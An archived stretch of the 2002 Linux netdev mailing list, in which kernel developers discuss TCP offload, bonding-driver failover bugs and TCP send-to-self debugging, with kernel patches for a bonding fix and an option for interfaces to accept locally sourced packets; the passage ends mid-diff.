<20020913.150439.27187393.davem@redhat.com> To: linux-kernel@vger.kernel.org, todd-lkml@osogrande.com Cc: hadi@cyberus.ca, tcw@tempest.prismnet.com, netdev@oss.sgi.com, pfeather@cs.unm.edu Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: References: <20020912.161225.20790415.davem@redhat.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 179 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: todd-lkml@osogrande.com Date: Fri, 13 Sep 2002 15:59:15 -0600 (MDT) not sure i understand what you're proposing Cards in the future at 10gbit and faster are going to provide facilities by which: 1) You register a IPV4 src_addr/dst_addr TCP src_port/dst_port cookie with the hardware when TCP connections are openned. 2) The card scans TCP packets arriving, if the cookie matches, it accumulated received data to fill full pages and wakes up the networking when either: a) full page has accumulated for a connection b) connection cookie mismatch c) configurable timer has expired 3) TCP ends up getting receive packets with skb->shinfo() fraglist containing the data portion in full struct page *'s This can be placed directly into the page cache via sys_receivefile generic code in mm/filemap.c or f.e. NFSD/NFS receive side processing. not also make the api for apps to allocate a buffer in userland that (for nics that support it) the nic can dma directly into? it seems likely notification that the buffer was used would have to travel through the kernel, but it would be nice to save the interrupts altogether. This is already doable with sys_sendfile() for send today. The user just does the following: 1) mmap()'s a file with MAP_SHARED to write the data 2) uses sys_sendfile() to send the data over the socket from that file 3) uses socket write space monitoring to determine if the portions of the shared area are reclaimable for new writes BTW Apache could make this, I doubt it does currently. The corrolary with sys_receivefile would be that the use: 1) mmap()'s a file with MAP_SHARED to write the data 2) uses sys_receivefile() to pull in the data from the socket to that file There is no need to poll the receive socket space as the successful return from sys_receivefile() is the "data got received successfully" event. totally agreed. this is a must for high-performance computing now (since who wants to waste 80-100% of their CPU just running the network)? If send side is your bottleneck and you think zerocopy sends of user anonymous data might help, see the above since we can do it today and you are free to experiment. Franks a lot, David S. Miller davem@redhat.com From cacophonix@yahoo.com Fri Sep 13 15:17:30 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Sep 2002 15:17:32 -0700 (PDT) Received: from web14006.mail.yahoo.com (web14006.mail.yahoo.com [216.136.175.122]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8DMHUtG028527 for ; Fri, 13 Sep 2002 15:17:30 -0700 Message-ID: <20020913222213.69396.qmail@web14006.mail.yahoo.com> Received: from [156.153.255.134] by web14006.mail.yahoo.com via HTTP; Fri, 13 Sep 2002 15:22:13 PDT Date: Fri, 13 Sep 2002 15:22:13 -0700 (PDT) From: Cacophonix Subject: Re: bonding vs 802.3ad/Cisco EtherChannel link agregation To: Chris Friesen Cc: linux-net@vger.kernel.org, netdev@oss.sgi.com In-Reply-To: <3D81F64B.11182FB1@nortelnetworks.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 180 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cacophonix@yahoo.com Precedence: bulk X-list: netdev --- Chris Friesen wrote: > "David S. Miller" wrote: > > > > Bonding does not help with single stream performance. > > You have to have multiple apps generating multiple streams > > of data before you'll realize any improvement. > > Therefore netpipe is a bad test for what you're doing. > > This has always confused me. Why doesn't the bonding driver try and spread all the > traffic over all > the links? This would allow for a single stream to use the full aggregate bandwidth of > all bonded > links. Because then you risk heavy packet reordering within an individual flow, which can be detrimental in some cases. --karthik __________________________________________________ Do you Yahoo!? Yahoo! News - Today's headlines http://news.yahoo.com From greearb@candelatech.com Fri Sep 13 23:11:11 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Sep 2002 23:11:16 -0700 (PDT) Received: from grok.yi.org (IDENT:YPwVdmTf+C5wfeQxKeNj/So4HPi6pvsw@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8E6BAtG032551 for ; Fri, 13 Sep 2002 23:11:10 -0700 Received: from candelatech.com (IDENT:7K6/tSG1vTFCxoNFKt9hTLIiAsoAjI5B@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8E6Frv17360; Fri, 13 Sep 2002 23:15:54 -0700 Message-ID: <3D82D419.60801@candelatech.com> Date: Fri, 13 Sep 2002 23:15:53 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "'netdev@oss.sgi.com'" , linux-kernel Subject: TCP connection establishment question (send to self) Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 181 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev I'm continuing work on getting a machine to send packets to itself over external interfaces. Arp and UDP now work with a few small hacks, as hinted to by Alexey.... TCP/IP is not working as well as I had hoped. After binding to the interface, and opening a listening socket, I attempt to connect. I see the first packet go across the looped back wire, but I can get no response to the initial SYN packet. From printks in the kernel, I see that this code is hit in tcp_v4_do_rcv: if (sk->state == TCP_LISTEN) { struct sock *nsk = tcp_v4_hnd_req(sk, skb); printk("tcp_v4_do_rcv: listen, saddr: %x, nsk: %p, sk: %p\n", skb->nh.iph->saddr, nsk, sk); if (!nsk) goto discard; if (nsk != sk) { if (tcp_child_process(sk, nsk, skb)) goto reset; return 0; } } nsk is null, because this code is hit in tcp_check_req (tcp_v4_search_req found something): /* RFC793 page 36: "If the connection is in any non-synchronized state ... * and the incoming segment acknowledges something not yet * sent (the segment carries an unaccaptable ACK) ... * a reset is sent." */ if (!(flg & TCP_FLAG_ACK)) { if ((skb->nh.iph->saddr == 0x7102a8c0) || (skb->nh.iph->saddr == 0x7002a8c0)) { printk("not TCP_FLAG_ACK, flg: 0x%x...\n", flg); } return NULL; } From my old networking book, it appears that the first packet does not need the ACK flag. A network trace of a connection between two computers does not show the ACK flag in the first packet... I am using SO_BINDTODEVICE on the connecting and accepting sockets, I'm also using source-based routing. Any suggestions would be welcome, of course! Here is the wire capture of the attempted connection: Frame 1 (74 on wire, 74 captured) Arrival Time: Sep 13, 2002 22:34:26.679702000 Time delta from previous packet: 0.000000000 seconds Time relative to first packet: 0.000000000 seconds Frame Number: 1 Packet Length: 74 bytes Capture Length: 74 bytes Ethernet II Destination: 00:07:e9:09:62:ee (Intel_09:62:ee) Source: 00:07:e9:09:5e:3a (Intel_09:5e:3a) Type: IP (0x0800) Internet Protocol, Src Addr: 192.168.2.112 (192.168.2.112), Dst Addr: 192.168.2.113 (192.168.2.113) Version: 4 Header length: 20 bytes Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00) 0000 00.. = Differentiated Services Codepoint: Default (0x00) .... ..0. = ECN-Capable Transport (ECT): 0 .... ...0 = ECN-CE: 0 Total Length: 60 Identification: 0xbc8a Flags: 0x04 .1.. = Don't fragment: Set ..0. = More fragments: Not set Fragment offset: 0 Time to live: 64 Protocol: TCP (0x06) Header checksum: 0xf7ff (correct) Source: 192.168.2.112 (192.168.2.112) Destination: 192.168.2.113 (192.168.2.113) Transmission Control Protocol, Src Port: 33039 (33039), Dst Port: 33040 (33040), Seq: 931994439, Ack: 0, Len: 0 Source port: 33039 (33039) Destination port: 33040 (33040) Sequence number: 931994439 Header length: 40 bytes Flags: 0x00c2 (SYN, ECN, CWR) 1... .... = Congestion Window Reduced (CWR): Set .1.. .... = ECN-Echo: Set ..0. .... = Urgent: Not set ...0 .... = Acknowledgment: Not set .... 0... = Push: Not set .... .0.. = Reset: Not set .... ..1. = Syn: Set .... ...0 = Fin: Not set Window size: 5840 Checksum: 0xad83 (correct) Options: (20 bytes) Maximum segment size: 1460 bytes SACK permitted Time stamp: tsval 42957, tsecr 0 NOP Window scale: 0 bytes Frame 2 (74 on wire, 74 captured) Arrival Time: Sep 13, 2002 22:34:29.669918000 Time delta from previous packet: 2.990216000 seconds Time relative to first packet: 2.990216000 seconds Frame Number: 2 Packet Length: 74 bytes Capture Length: 74 bytes Ethernet II Destination: 00:07:e9:09:62:ee (Intel_09:62:ee) Source: 00:07:e9:09:5e:3a (Intel_09:5e:3a) Type: IP (0x0800) Internet Protocol, Src Addr: 192.168.2.112 (192.168.2.112), Dst Addr: 192.168.2.113 (192.168.2.113) Version: 4 Header length: 20 bytes Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00) 0000 00.. = Differentiated Services Codepoint: Default (0x00) .... ..0. = ECN-Capable Transport (ECT): 0 .... ...0 = ECN-CE: 0 Total Length: 60 Identification: 0xbc8b Flags: 0x04 .1.. = Don't fragment: Set ..0. = More fragments: Not set Fragment offset: 0 Time to live: 64 Protocol: TCP (0x06) Header checksum: 0xf7fe (correct) Source: 192.168.2.112 (192.168.2.112) Destination: 192.168.2.113 (192.168.2.113) Transmission Control Protocol, Src Port: 33039 (33039), Dst Port: 33040 (33040), Seq: 931994439, Ack: 0, Len: 0 Source port: 33039 (33039) Destination port: 33040 (33040) Sequence number: 931994439 Header length: 40 bytes Flags: 0x00c2 (SYN, ECN, CWR) 1... .... = Congestion Window Reduced (CWR): Set .1.. .... = ECN-Echo: Set ..0. .... = Urgent: Not set ...0 .... = Acknowledgment: Not set .... 0... = Push: Not set .... .0.. = Reset: Not set .... ..1. = Syn: Set .... ...0 = Fin: Not set Window size: 5840 Checksum: 0xac57 (correct) Options: (20 bytes) Maximum segment size: 1460 bytes SACK permitted Time stamp: tsval 43257, tsecr 0 NOP Window scale: 0 bytes Frame 3 (42 on wire, 42 captured) Arrival Time: Sep 13, 2002 22:34:31.669777000 Time delta from previous packet: 1.999859000 seconds Time relative to first packet: 4.990075000 seconds Frame Number: 3 Packet Length: 42 bytes Capture Length: 42 bytes Ethernet II Destination: 00:07:e9:09:62:ee (Intel_09:62:ee) Source: 00:07:e9:09:5e:3a (Intel_09:5e:3a) Type: ARP (0x0806) Address Resolution Protocol (request) Hardware type: Ethernet (0x0001) Protocol type: IP (0x0800) Hardware size: 6 Protocol size: 4 Opcode: request (0x0001) Sender MAC address: 00:07:e9:09:5e:3a (Intel_09:5e:3a) Sender IP address: 192.168.2.112 (192.168.2.112) Target MAC address: 00:00:00:00:00:00 (XEROX_00:00:00) Target IP address: 192.168.2.113 (192.168.2.113) Frame 4 (60 on wire, 60 captured) Arrival Time: Sep 13, 2002 22:34:31.670014000 Time delta from previous packet: 0.000237000 seconds Time relative to first packet: 4.990312000 seconds Frame Number: 4 Packet Length: 60 bytes Capture Length: 60 bytes Ethernet II Destination: 00:07:e9:09:5e:3a (Intel_09:5e:3a) Source: 00:07:e9:09:62:ee (Intel_09:62:ee) Type: ARP (0x0806) Trailer: 00000000000000000000000000000000... Address Resolution Protocol (reply) Hardware type: Ethernet (0x0001) Protocol type: IP (0x0800) Hardware size: 6 Protocol size: 4 Opcode: reply (0x0002) Sender MAC address: 00:07:e9:09:62:ee (Intel_09:62:ee) Sender IP address: 192.168.2.113 (192.168.2.113) Target MAC address: 00:07:e9:09:5e:3a (Intel_09:5e:3a) Target IP address: 192.168.2.112 (192.168.2.112) -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From pb@bieringer.de Sat Sep 14 05:14:55 2002 Received: with ECARTIS (v1.0.0; list netdev); Sat, 14 Sep 2002 05:14:59 -0700 (PDT) Received: from titan.bieringer.de (mail.bieringer.de [195.226.187.51]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8ECEstG003161 for ; Sat, 14 Sep 2002 05:14:54 -0700 Received: (qmail 22393 invoked from network); 14 Sep 2002 12:19:33 -0000 Received: from pd950fb15.dip.t-dialin.net (HELO ?192.168.1.2?) (217.80.251.21) by mail.bieringer.de with SMTP; 14 Sep 2002 12:19:33 -0000 Date: Sat, 14 Sep 2002 14:19:32 +0200 From: Peter Bieringer To: "netdev@oss.sgi.com" cc: Stephen Waters Subject: Re: RFC 3041 Message-ID: <85130000.1032005972@localhost> In-Reply-To: <1031926014.6546.4.camel@swaters> References: <1031926014.6546.4.camel@swaters> X-Mailer: Mulberry/3.0.0a4 (Linux/x86) X-URL: http://www.bieringer.de/pb/ X-OS: Linux MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="==========805445387==========" X-archive-position: 182 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pb@bieringer.de Precedence: bulk X-list: netdev --==========805445387========== Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline --On Friday, September 13, 2002 09:06:53 AM -0500 Stephen Waters wrote: > Anyone know of any plans or code for implementing RFC 3041 "Privacy > Extensions for Stateless Address Autoconfiguration in IPv6" on > Linux? USAGI is working on it. Peter --- Dr. Peter Bieringer mailto: pb at bieringer dot de http://www.bieringer.de/pb/ Key 0x958F422D : B501 24F4 9418 23E2 C0F3 F833 7B57 AA7B 958F 422D --==========805445387========== Content-Type: application/pgp-signature Content-Transfer-Encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) iD8DBQE9gylUe1eqe5WPQi0RAqfLAKDfz1/U4q0rQUSMJIh2nrfZIYur8wCg7Dgp ZPxhr8wQn9JAB9/La+moqbo= =ozpe -----END PGP SIGNATURE----- --==========805445387==========-- From pascal.brisset@wanadoo.fr Sat Sep 14 09:33:35 2002 Received: with ECARTIS (v1.0.0; list netdev); Sat, 14 Sep 2002 09:33:40 -0700 (PDT) Received: from smtp03.prod.mgc ([194.250.131.227]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8EGXYtG011719 for ; Sat, 14 Sep 2002 09:33:34 -0700 Received: from pcg.localdomain (194.206.212.1) by smtp03.prod.mgc (6.0.053) id 3D459051002CC11B; Sat, 14 Sep 2002 18:39:18 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15747.26107.382619.200566@pcg.localdomain> Date: Sat, 14 Sep 2002 18:38:19 +0200 From: Pascal Brisset To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Bonding driver unreliable under high CPU load X-Mailer: VM 6.90 under Emacs 20.7.1 X-archive-position: 183 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pascal.brisset-ml@wanadoo.fr Precedence: bulk X-list: netdev I would like to confirm the problem reported by Tony Cureington at http://sourceforge.net/mailarchive/forum.php?thread_id=1015008&forum_id=2094 Problem: In MII-monitoring mode, when the CPU load is high, the ethernet bonding driver silently fails to detect dead links. How to reproduce: i686, 2.4.19; "modprobe bonding mode=1 miimon=100"; ifenslave two interfaces; ping while you plug/unplug cables. Bonding will switch to the available interface, as expected. Now load the CPU with "while(1) { }", and failover will not work at all anymore. Explanation: The bonding driver monitors the state of its slave interfaces by calling their dev->do_ioctl(SIOCGMIIREG|ETHTOOL_GLINK) from a timer callback function. Whenever this occurs during a user task, the get_user() in the ioctl handling code of the slave fails with -EFAULT because the ifreq struct is allocated in the stack of the timer function, above 0xC0000000. In that case, the bonding driver considers the link up by default. This problem went unnoticed because for most applications, when the active link dies, the host becomes idle and the monitoring function gets a chance to run during a kernel thread (in which case it works). The active-backup switchover is just slower than it should be. Serious trouble only happens when the active link dies during a long, CPU-intensive job. Is anyone working on a fix ? Maybe running the monitoring stuff in a dedicated task ? -- Pascal From Andrew.Morton@digeo.com Sat Sep 14 20:03:57 2002 Received: with ECARTIS (v1.0.0; list netdev); Sat, 14 Sep 2002 20:04:03 -0700 (PDT) Received: from packet.digeo.com (packet.digeo.com [12.110.80.53]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8F33vtG016440 for ; Sat, 14 Sep 2002 20:03:57 -0700 Received: from digeo-nav01.digeo.com (digeo-nav01.digeo.com [192.168.1.233]) by packet.digeo.com (8.9.3+Sun/8.9.3) with SMTP id UAA12569 for ; Sat, 14 Sep 2002 20:08:39 -0700 (PDT) Received: from schumi.digeo.com ([192.168.1.205]) by digeo-nav01.digeo.com (NAVGW 2.5.2.9) with SMTP id M2002091420123723487 ; Sat, 14 Sep 2002 20:12:37 -0700 Received: from pao-ex01.pao.digeo.com ([172.17.144.34]) by schumi.digeo.com with Microsoft SMTPSVC(5.0.2195.4905); Sat, 14 Sep 2002 20:08:39 -0700 Received: from digeo.com ([172.17.144.18]) by pao-ex01.pao.digeo.com with Microsoft SMTPSVC(5.0.2195.4905); Sat, 14 Sep 2002 20:08:38 -0700 Message-ID: <3D83FD6B.4B492B7D@digeo.com> Date: Sat, 14 Sep 2002 20:24:27 -0700 From: Andrew Morton X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19-rc5 i686) X-Accept-Language: en MIME-Version: 1.0 To: Pascal Brisset CC: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: Bonding driver unreliable under high CPU load References: <15747.26107.382619.200566@pcg.localdomain> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 15 Sep 2002 03:08:38.0869 (UTC) FILETIME=[30209850:01C25C65] X-archive-position: 184 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@digeo.com Precedence: bulk X-list: netdev Pascal Brisset wrote: > > I would like to confirm the problem reported by Tony Cureington at > http://sourceforge.net/mailarchive/forum.php?thread_id=1015008&forum_id=2094 > > Problem: In MII-monitoring mode, when the CPU load is high, > the ethernet bonding driver silently fails to detect dead links. > > How to reproduce: > i686, 2.4.19; "modprobe bonding mode=1 miimon=100"; ifenslave two > interfaces; ping while you plug/unplug cables. Bonding will > switch to the available interface, as expected. Now load the CPU > with "while(1) { }", and failover will not work at all anymore. > > Explanation: > The bonding driver monitors the state of its slave interfaces by > calling their dev->do_ioctl(SIOCGMIIREG|ETHTOOL_GLINK) from a > timer callback function. Whenever this occurs during a user task, > the get_user() in the ioctl handling code of the slave fails with > -EFAULT because the ifreq struct is allocated in the stack of the > timer function, above 0xC0000000. In that case, the bonding driver > considers the link up by default. > > This problem went unnoticed because for most applications, when the > active link dies, the host becomes idle and the monitoring function > gets a chance to run during a kernel thread (in which case it works). > The active-backup switchover is just slower than it should be. > Serious trouble only happens when the active link dies during a long, > CPU-intensive job. > > Is anyone working on a fix ? Maybe running the monitoring stuff in > a dedicated task ? Running the ioctl in interrupt context is bad. Probably what should happen here is that the whole link monitoring function be pushed up to process context via a schedule_task() callout, or a do it in a dedicated kernel thread. This patch will probably make it work, but the slave device's ioctl simply isn't designed to be called from this context - it could try to take a semaphore, or a non-interrupt-safe lock or anything. --- linux-2.4.20-pre7/drivers/net/bonding.c Thu Sep 12 20:35:22 2002 +++ linux-akpm/drivers/net/bonding.c Sat Sep 14 20:23:45 2002 @@ -208,6 +208,7 @@ #include #include #include +#include #include #include @@ -401,6 +402,7 @@ static u16 bond_check_dev_link(struct ne struct ifreq ifr; struct mii_ioctl_data *mii; struct ethtool_value etool; + int ioctl_ret; if ((ioctl = dev->do_ioctl) != NULL) { /* ioctl to access MII */ /* TODO: set pointer to correct ioctl on a per team member */ @@ -416,7 +418,13 @@ static u16 bond_check_dev_link(struct ne /* effect... */ etool.cmd = ETHTOOL_GLINK; ifr.ifr_data = (char*)&etool; - if (ioctl(dev, &ifr, SIOCETHTOOL) == 0) { + { + mm_segment_t old_fs = get_fs(); + set_fs(KERNEL_DS); + ioctl_ret = ioctl(dev, &ifr, SIOCETHTOOL); + set_fs(old_fs); + } + if (ioctl_ret == 0) { if (etool.data == 1) { return(MII_LINK_READY); } - From greearb@candelatech.com Sat Sep 14 23:39:25 2002 Received: with ECARTIS (v1.0.0; list netdev); Sat, 14 Sep 2002 23:39:32 -0700 (PDT) Received: from grok.yi.org (IDENT:o4KcMQ3IfXhhpLB75r0OKfc1pKPWuXXo@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8F6dOtG017983 for ; Sat, 14 Sep 2002 23:39:25 -0700 Received: from candelatech.com (IDENT:s1JiANbGVaYZBOeI0IjirzUvsqqmSGLV@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8F6iCv06511; Sat, 14 Sep 2002 23:44:12 -0700 Message-ID: <3D842C3C.6000205@candelatech.com> Date: Sat, 14 Sep 2002 23:44:12 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "'netdev@oss.sgi.com'" , linux-kernel Subject: [PATCH] Enable sending network traffic to local machine over external interfaces. Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 185 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev This patch should allow one to connect over external interface (ie eth1, eth2) and actually have traffic pass externally to the box, not routed internally as now. This is of primary interest to folks wanting to make traffic generators and the like, but it should also be useful for certain HA applications where testing path continuity is desired.... This patch also fixes what I believe is a bug in the SO_BINDTODEVICE implementation (the first syn-ack was not being routed based on the bound-device of the listening socket, but was being routed as if it came from loopback_dev) I have tested ARP, UDP, and TCP/IP traffic, but please consider this beta quality at best. Comments and suggestions are welcome! :) To use this feature, code like this must be written in user space: // Enable an interface to receive packets who's source was our // local machine. By default, we will not do this. // query to see if we are set up for send-to-self strcpy(ifr.ifr_name, dev_name); ifr.ifr_addr.sa_family = AF_INET; if (ioctl(fd, 0x89a1, &ifr) < 0) { VLOG_ERR(VLOG << "ERROR: ioctl(0x89a1): " << strerror(errno) << " ifr.ifr_name -:" << ifr.ifr_name << ":-" << endl); } //result is stored in ifr.ifr_flags, 0 or 1 // Try to make send_to_self true memset(&ifr, 0, sizeof(struct ifreq)); strcpy(ifr.ifr_name, dev_name); ifr.ifr_addr.sa_family = AF_INET; ifr.ifr_flags = 1; if (ioctl(fd, 0x89a0, &ifr) < 0) { VLOG_ERR(VLOG << "ERROR: ioctl(0x89a0): " << strerror(errno) << " ifr.ifr_name -:" << ifr.ifr_name << ":-" << endl); } When using sockets, be sure to use the SO_BINDTODEVICE option before opening or using a socket. // Bind to specific device. if (setsockopt(s, SOL_SOCKET, SO_BINDTODEVICE, dev_to_bind_to, DEV_NAME_LEN + 1)) { VLOG_ERR(VLOG << "ERROR: tcp-connect, setsockopt (BINDTODEVICE): " << strerror(errno) << " Not fatal in most cases..continuing...\n"); } Here is the patch, pasted from a larger patch. Hopefully it will apply without problem to 2.4.20-pre7. I have a full patch with pktgen updates in it as well if anyone wants the full thing as an attachment... diff -u -r -N -X /home/greear/exclude.list linux-2.4.19/include/linux/if.h linux-2.4.19.dev/include/linux/if.h --- linux-2.4.19/include/linux/if.h Thu Nov 22 12:47:07 2001 +++ linux-2.4.19.dev/include/linux/if.h Sat Sep 14 22:04:50 2002 @@ -47,6 +47,12 @@ /* Private (from user) interface flags (netdevice->priv_flags). */ #define IFF_802_1Q_VLAN 0x1 /* 802.1Q VLAN device. */ +#define IFF_PKTGEN_RCV 0x2 /* Registered to receive & consume Pktgen skbs */ +#define IFF_ACCEPT_LOCAL_ADDRS 0x4 /** Accept pkts even if they come from a local + * address. This lets use send pkts to ourselves + * over external interfaces (when used in conjunction + * with SO_BINDTODEVICE + */ /* * Device mapping structure. I'd just gone off and designed a diff -u -r -N -X /home/greear/exclude.list linux-2.4.19/include/linux/netdevice.h linux-2.4.19.dev/include/linux/netdevice.h --- linux-2.4.19/include/linux/netdevice.h Sat Sep 14 22:13:44 2002 +++ linux-2.4.19.dev/include/linux/netdevice.h Sat Sep 14 22:04:51 2002 @@ -296,7 +296,9 @@ unsigned short flags; /* interface flags (a la BSD) */ unsigned short gflags; - unsigned short priv_flags; /* Like 'flags' but invisible to userspace. */ + unsigned short priv_flags; /* Like 'flags' but invisible to userspace, + * see: if.h for flag definitions. + */ unsigned short unused_alignment_fixer; /* Because we need priv_flags, * and we want to be 32-bit aligned. */ @@ -438,6 +440,7 @@ /* this will get initialized at each interface type init routine */ struct divert_blk *divert; #endif /* CONFIG_NET_DIVERT */ + }; diff -u -r -N -X /home/greear/exclude.list linux-2.4.19/include/linux/sockios.h linux-2.4.19.dev/include/linux/sockios.h --- linux-2.4.19/include/linux/sockios.h Wed Nov 7 15:39:36 2001 +++ linux-2.4.19.dev/include/linux/sockios.h Sat Sep 14 21:42:29 2002 @@ -114,6 +114,16 @@ #define SIOCBONDINFOQUERY 0x8994 /* rtn info about bond state */ #define SIOCBONDCHANGEACTIVE 0x8995 /* update to a new active slave */ + +/* Ben's little hack land */ +#define SIOCSACCEPTLOCALADDRS 0x89a0 /* Allow interfaces to accept pkts from + * local interfaces...use with SO_BINDTODEVICE + */ +#define SIOCGACCEPTLOCALADDRS 0x89a1 /* Allow interfaces to accept pkts from + * local interfaces...use with SO_BINDTODEVICE + */ + + /* Device private ioctl calls */ /* diff -u -r -N -X /home/greear/exclude.list linux-2.4.19/include/net/tcp.h linux-2.4.19.dev/include/net/tcp.h --- linux-2.4.19/include/net/tcp.h Sat Sep 14 22:13:45 2002 +++ linux-2.4.19.dev/include/net/tcp.h Sat Sep 14 22:26:37 2002 @@ -519,6 +519,12 @@ struct tcp_v6_open_req v6_req; #endif } af; + int bound_dev_if; /* This is so we can connect to ourselves and not collide + * in the open-request hash (the addresses and ports are the + * same, but we need two ends, so use the interface to determine + * one from the other. Active when SO_BINDTODEVICE is used. + * --Ben + */ }; /* SLAB cache for open requests. */ diff -u -r -N -X /home/greear/exclude.list linux-2.4.19/net/core/dev.c linux-2.4.19.dev/net/core/dev.c --- linux-2.4.19/net/core/dev.c Sat Sep 14 22:13:45 2002 +++ linux-2.4.19.dev/net/core/dev.c Sat Sep 14 21:42:29 2002 @@ -2151,6 +2181,24 @@ notifier_call_chain(&netdev_chain, NETDEV_CHANGENAME, dev); return 0; + case SIOCSACCEPTLOCALADDRS: + if (ifr->ifr_flags) { + dev->priv_flags |= IFF_ACCEPT_LOCAL_ADDRS; + } + else { + dev->priv_flags &= ~IFF_ACCEPT_LOCAL_ADDRS; + } + return 0; + + case SIOCGACCEPTLOCALADDRS: + if (dev->priv_flags & IFF_ACCEPT_LOCAL_ADDRS) { + ifr->ifr_flags = 1; + } + else { + ifr->ifr_flags = 0; + } + return 0; + /* * Unknown or private ioctl */ @@ -2247,6 +2295,7 @@ case SIOCGIFMAP: case SIOCGIFINDEX: case SIOCGIFTXQLEN: + case SIOCGACCEPTLOCALADDRS: dev_load(ifr.ifr_name); read_lock(&dev_base_lock); ret = dev_ifsioc(&ifr, cmd); @@ -2310,6 +2359,7 @@ case SIOCBONDSLAVEINFOQUERY: case SIOCBONDINFOQUERY: case SIOCBONDCHANGEACTIVE: + case SIOCSACCEPTLOCALADDRS: if (!capable(CAP_NET_ADMIN)) return -EPERM; dev_load(ifr.ifr_name); diff -u -r -N -X /home/greear/exclude.list linux-2.4.19/net/ipv4/arp.c linux-2.4.19.dev/net/ipv4/arp.c --- linux-2.4.19/net/ipv4/arp.c Fri Aug 2 17:39:46 2002 +++ linux-2.4.19.dev/net/ipv4/arp.c Sat Sep 14 21:58:57 2002 @@ -1,4 +1,4 @@ -/* linux/net/inet/arp.c +/* linux/net/inet/arp.c -*-linux-c-*- * * Version: $Id: arp.c,v 1.99 2001/08/30 22:55:42 davem Exp $ * @@ -351,12 +351,22 @@ int flag = 0; /*unsigned long now; */ - if (ip_route_output(&rt, sip, tip, 0, 0) < 0) + if (ip_route_output(&rt, sip, tip, 0, 0) < 0) { return 1; - if (rt->u.dst.dev != dev) { - NET_INC_STATS_BH(ArpFilter); - flag = 1; - } + } + if (rt->u.dst.dev != dev) { + if ((dev->priv_flags & IFF_ACCEPT_LOCAL_ADDRS) && + (rt->u.dst.dev == &loopback_dev)) { + /* OK, we'll let this special case slide, so that we can arp from one + * local interface to another. This seems to work, but could use some + * review. --Ben + */ + } + else { + NET_INC_STATS_BH(ArpFilter); + flag = 1; + } + } ip_rt_put(rt); return flag; } diff -u -r -N -X /home/greear/exclude.list linux-2.4.19/net/ipv4/fib_frontend.c linux-2.4.19.dev/net/ipv4/fib_frontend.c --- linux-2.4.19/net/ipv4/fib_frontend.c Fri Aug 2 17:39:46 2002 +++ linux-2.4.19.dev/net/ipv4/fib_frontend.c Sat Sep 14 21:42:29 2002 @@ -228,13 +228,24 @@ } read_unlock(&inetdev_lock); - if (in_dev == NULL) + if (in_dev == NULL) { goto e_inval; + } - if (fib_lookup(&key, &res)) + if (fib_lookup(&key, &res)) { goto last_resort; - if (res.type != RTN_UNICAST) - goto e_inval_res; + } + + if (res.type != RTN_UNICAST) { + if ((res.type == RTN_LOCAL) && + (dev->priv_flags & IFF_ACCEPT_LOCAL_ADDRS)) { + /* All is OK */ + } + else { + goto e_inval_res; + } + } + *spec_dst = FIB_RES_PREFSRC(res); fib_combine_itag(itag, &res); #ifdef CONFIG_IP_ROUTE_MULTIPATH diff -u -r -N 